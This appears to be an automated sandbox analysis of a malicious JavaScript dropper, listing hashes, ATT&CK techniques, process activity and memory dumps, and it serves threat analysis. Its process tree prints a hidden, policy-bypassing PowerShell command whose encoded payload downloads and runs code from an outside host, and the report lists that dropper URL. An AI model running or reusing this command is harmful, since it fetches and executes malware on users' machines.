39210c5a9d6a3000c5ba162d01a4ac8c8187c2e8a83a4272aa1dcf7a714ee51d

Analysis

max time kernel
145s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20231222-en
resource tags

arch:x64arch:x86image:win10v2004-20231222-enlocale:en-usos:windows10-2004-x64system
submitted
19-01-2024 18:12

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General

Target

684ccc041b42d9017544a7c7c47e432b.js
Size

366KB
MD5

684ccc041b42d9017544a7c7c47e432b
SHA1

792cddbcfc18d0598aa475d62c7e84c443ce7532
SHA256

39210c5a9d6a3000c5ba162d01a4ac8c8187c2e8a83a4272aa1dcf7a714ee51d
SHA512

967e6a45a7887d04ca1a9d1084ab774b34dc76cc8c6e3e8ba383fd08e4f604cbf60a7ffdc0335693957e281a24175671c4117b1e45c3ac985724c36b6ad07e40
SSDEEP

6144:0Xt/0D8dhYBtPfgN7ss4e6uK+18CDyOscsyiDdXxVxDtV1m6IFPCGKaFHuEW8SB2:0Xt8D8dqfgNOYK+ucKxx13xytFOEwBYx

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://jolantagraban.pl/log/57843441668980/dll/assistant.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
38	3088	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3803511929-1339359695-2191195476-1000\Control Panel\International\Geo\Nation	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3088	powershell.exe
3088	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3088	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1396 wrote to memory of 4856	1396	wscript.exe	94
PID 1396 wrote to memory of 4856	1396	wscript.exe	94
PID 4856 wrote to memory of 3088	4856	cmd.exe	96
PID 4856 wrote to memory of 3088	4856	cmd.exe	96

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\684ccc041b42d9017544a7c7c47e432b.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4856
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBqAG8AbABhAG4AdABhAGcAcgBhAGIAYQBuAC4AcABsAC8AbABvAGcALwA1ADcAOAA0ADMANAA0ADEANgA2ADgAOQA4ADAALwBkAGwAbAAvAGEAcwBzAGkAcwB0AGEAbgB0AC4AcABoAHAAIgApAA==
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lysmumoc.v25.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3088-1-0x000001E73A0C0000-0x000001E73A0E2000-memory.dmp

Filesize
136KB

Download
memory/3088-11-0x00007FFE7CCB0000-0x00007FFE7D771000-memory.dmp

Filesize
10.8MB

Download
memory/3088-13-0x000001E737ED0000-0x000001E737EE0000-memory.dmp

Filesize
64KB

Download
memory/3088-12-0x000001E737ED0000-0x000001E737EE0000-memory.dmp

Filesize
64KB

Download
memory/3088-15-0x000001E737ED0000-0x000001E737EE0000-memory.dmp

Filesize
64KB

Download
memory/3088-14-0x000001E737ED0000-0x000001E737EE0000-memory.dmp

Filesize
64KB

Download
memory/3088-18-0x00007FFE7CCB0000-0x00007FFE7D771000-memory.dmp

Filesize
10.8MB

Download